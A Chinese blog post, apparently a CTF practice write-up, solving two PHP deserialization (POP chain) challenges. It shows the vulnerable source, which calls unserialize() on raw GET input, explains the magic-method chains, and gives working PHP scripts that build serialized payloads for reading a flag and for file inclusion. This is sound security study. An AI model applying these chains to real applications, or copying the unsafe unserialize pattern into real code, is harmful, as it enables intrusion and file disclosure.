ctf反序列化练题

发布时间 2023-03-26 23:30:25作者: kode

[SWPUCTF 2021 新生赛]pop 

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。

然后寻找可以利用的点来获取Flag

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。

那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。

那我们如何去实现呢?

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,

我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。

如下:

<?php
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

    
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m='Getflag';
    public function __toString(){
        $this->w00m->{$this->w22m}();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法
        return 0;
    }
}
$a=new w22m;
$a->w00m=new w33m;//执行w33m类中的toString方法
$a->w00m->w00m=new w44m;//
echo urlencode(serialize($a));

?>

 

[NISACTF 2022]popchains

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。

然后我们需要看可以获取falg的点,

 

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

 

 

 

 

可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。

但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。

尾部找到后接着我们就需要找到我们pop链的首部了。

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }

看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。

因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链

构造思路如下: __wakeup() -> 创建 page 为Road_is_Long 类本身   => __toString ->  $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke()  -> => append() => include($value); value=/flag

 

接着我们就可以进行构造了:

<?php
class Road_is_Long{
    public $page;
    public $string;
     public function __construct(){
        
    }
   
    public function __toString(){
        return $this->string->page;
    }
   

  }

class Try_Work_Hard{
    protected  $var='/flag';
  
}

class Make_a_Change{
    public $effort;
   

   
}
$a=new Road_is_Long;
$a->page=new Road_is_Long;
$a->page->string=new Make_a_Change;
$a->page->string->effort=new Try_Work_Hard;
echo urlencode(serialize($a));

?>

然后将获取的值Get传入即可